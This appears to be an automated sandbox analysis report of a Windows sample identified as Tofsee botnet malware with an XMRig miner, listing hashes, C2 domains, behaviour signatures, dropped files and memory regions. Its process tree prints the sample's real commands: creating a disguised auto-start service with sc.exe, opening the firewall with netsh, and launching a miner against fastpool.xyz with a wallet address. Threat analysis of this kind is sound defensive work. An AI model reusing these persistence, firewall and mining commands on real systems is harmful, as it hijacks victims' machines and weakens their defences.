Analysis

  • max time kernel
    142s
  • max time network
    154s
  • platform
    windows7_x64
  • resource
    win7-20230831-en
  • resource tags

    arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
  • submitted
    13-10-2023 03:54

General

  • Target

    file.exe

  • Size

    272KB

  • MD5

    fd228d66dacf3a914214e849dcf19979

  • SHA1

    6aabf3300d2ab321ea51af659fd1c6a56ce2f236

  • SHA256

    10ec03f362b7385e68ee249d402663469b8b613dd32961bc38c7c5cd3c4b44b9

  • SHA512

    f705c41bc1281b8a57d7f6a19446c8705c85e4af9e6c32ad2686d2cfa0ddd563df6f630b262e1a72422d32af1a4a77050d752f8f06d0be5ed2894cbd61d3dfe8

  • SSDEEP

    3072:F8KnEMUvutnG3L6PG4dM2gbDNCbNCpvDi4xSpv3NY:aKAvutnG3L6PVdENCpMu4xSw

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 7 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2624
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\vyoxqwpu\
      2⤵
        PID:2020
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\zlxczfes.exe" C:\Windows\SysWOW64\vyoxqwpu\
        2⤵
          PID:2672
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create vyoxqwpu binPath= "C:\Windows\SysWOW64\vyoxqwpu\zlxczfes.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:2980
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description vyoxqwpu "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:2840
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start vyoxqwpu
          2⤵
          • Launches sc.exe
          PID:2820
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2952
      • C:\Windows\SysWOW64\vyoxqwpu\zlxczfes.exe
        C:\Windows\SysWOW64\vyoxqwpu\zlxczfes.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:1864
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:2564
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.200000 -p x -k -a cn/half --cpu-priority 1
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1308

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Temp\zlxczfes.exe

        Filesize

        12.4MB

        MD5

        1022afcb0e770210096d21716abd6c04

        SHA1

        97505686920b0429c8865f64d2d69aa6446743f7

        SHA256

        997e18662e89f3d1f4ec0217df05c169ce814ee304be3932f6c01809939b8f4b

        SHA512

        75967edcfe9e68dc5824ce3d1e6f3bc52080d4d711c4a549f6c167371e981490f2c6215720768133b6bacd2c59c8458287bc4836103d9d0a1eb63c15c549b3f6

      • C:\Windows\SysWOW64\vyoxqwpu\zlxczfes.exe

        Filesize

        12.4MB

        MD5

        1022afcb0e770210096d21716abd6c04

        SHA1

        97505686920b0429c8865f64d2d69aa6446743f7

        SHA256

        997e18662e89f3d1f4ec0217df05c169ce814ee304be3932f6c01809939b8f4b

        SHA512

        75967edcfe9e68dc5824ce3d1e6f3bc52080d4d711c4a549f6c167371e981490f2c6215720768133b6bacd2c59c8458287bc4836103d9d0a1eb63c15c549b3f6

      • memory/1308-75-0x0000000000080000-0x0000000000171000-memory.dmp

        Filesize

        964KB

      • memory/1308-78-0x0000000000080000-0x0000000000171000-memory.dmp

        Filesize

        964KB

      • memory/1308-77-0x0000000000080000-0x0000000000171000-memory.dmp

        Filesize

        964KB

      • memory/1308-76-0x0000000000080000-0x0000000000171000-memory.dmp

        Filesize

        964KB

      • memory/1308-74-0x0000000000080000-0x0000000000171000-memory.dmp

        Filesize

        964KB

      • memory/1308-73-0x0000000000080000-0x0000000000171000-memory.dmp

        Filesize

        964KB

      • memory/1308-65-0x0000000000080000-0x0000000000171000-memory.dmp

        Filesize

        964KB

      • memory/1308-63-0x0000000000080000-0x0000000000171000-memory.dmp

        Filesize

        964KB

      • memory/1864-18-0x0000000000400000-0x0000000000712000-memory.dmp

        Filesize

        3.1MB

      • memory/1864-10-0x0000000000B80000-0x0000000000C80000-memory.dmp

        Filesize

        1024KB

      • memory/1864-15-0x0000000000400000-0x0000000000712000-memory.dmp

        Filesize

        3.1MB

      • memory/2564-38-0x00000000002A0000-0x00000000002B0000-memory.dmp

        Filesize

        64KB

      • memory/2564-46-0x00000000002A0000-0x00000000002B0000-memory.dmp

        Filesize

        64KB

      • memory/2564-23-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/2564-24-0x0000000001870000-0x0000000001A7F000-memory.dmp

        Filesize

        2.1MB

      • memory/2564-27-0x0000000001870000-0x0000000001A7F000-memory.dmp

        Filesize

        2.1MB

      • memory/2564-28-0x0000000000290000-0x0000000000296000-memory.dmp

        Filesize

        24KB

      • memory/2564-31-0x00000000002A0000-0x00000000002B0000-memory.dmp

        Filesize

        64KB

      • memory/2564-34-0x00000000002A0000-0x00000000002B0000-memory.dmp

        Filesize

        64KB

      • memory/2564-35-0x00000000002A0000-0x00000000002B0000-memory.dmp

        Filesize

        64KB

      • memory/2564-36-0x00000000002A0000-0x00000000002B0000-memory.dmp

        Filesize

        64KB

      • memory/2564-37-0x00000000002A0000-0x00000000002B0000-memory.dmp

        Filesize

        64KB

      • memory/2564-12-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

        Filesize

        4KB

      • memory/2564-39-0x00000000002A0000-0x00000000002B0000-memory.dmp

        Filesize

        64KB

      • memory/2564-40-0x00000000002A0000-0x00000000002B0000-memory.dmp

        Filesize

        64KB

      • memory/2564-41-0x00000000002A0000-0x00000000002B0000-memory.dmp

        Filesize

        64KB

      • memory/2564-42-0x00000000002A0000-0x00000000002B0000-memory.dmp

        Filesize

        64KB

      • memory/2564-43-0x00000000002A0000-0x00000000002B0000-memory.dmp

        Filesize

        64KB

      • memory/2564-44-0x00000000002A0000-0x00000000002B0000-memory.dmp

        Filesize

        64KB

      • memory/2564-45-0x00000000002A0000-0x00000000002B0000-memory.dmp

        Filesize

        64KB

      • memory/2564-21-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/2564-47-0x00000000002A0000-0x00000000002B0000-memory.dmp

        Filesize

        64KB

      • memory/2564-48-0x00000000002A0000-0x00000000002B0000-memory.dmp

        Filesize

        64KB

      • memory/2564-49-0x00000000002A0000-0x00000000002B0000-memory.dmp

        Filesize

        64KB

      • memory/2564-50-0x00000000002A0000-0x00000000002B0000-memory.dmp

        Filesize

        64KB

      • memory/2564-51-0x00000000002B0000-0x00000000002B5000-memory.dmp

        Filesize

        20KB

      • memory/2564-54-0x00000000002B0000-0x00000000002B5000-memory.dmp

        Filesize

        20KB

      • memory/2564-55-0x00000000054B0000-0x00000000058BB000-memory.dmp

        Filesize

        4.0MB

      • memory/2564-58-0x00000000054B0000-0x00000000058BB000-memory.dmp

        Filesize

        4.0MB

      • memory/2564-59-0x00000000004A0000-0x00000000004A7000-memory.dmp

        Filesize

        28KB

      • memory/2564-20-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/2564-14-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/2564-11-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/2624-1-0x00000000002D0000-0x00000000003D0000-memory.dmp

        Filesize

        1024KB

      • memory/2624-7-0x00000000001B0000-0x00000000001C3000-memory.dmp

        Filesize

        76KB

      • memory/2624-6-0x0000000000400000-0x0000000000712000-memory.dmp

        Filesize

        3.1MB

      • memory/2624-4-0x0000000000400000-0x0000000000712000-memory.dmp

        Filesize

        3.1MB

      • memory/2624-2-0x00000000001B0000-0x00000000001C3000-memory.dmp

        Filesize

        76KB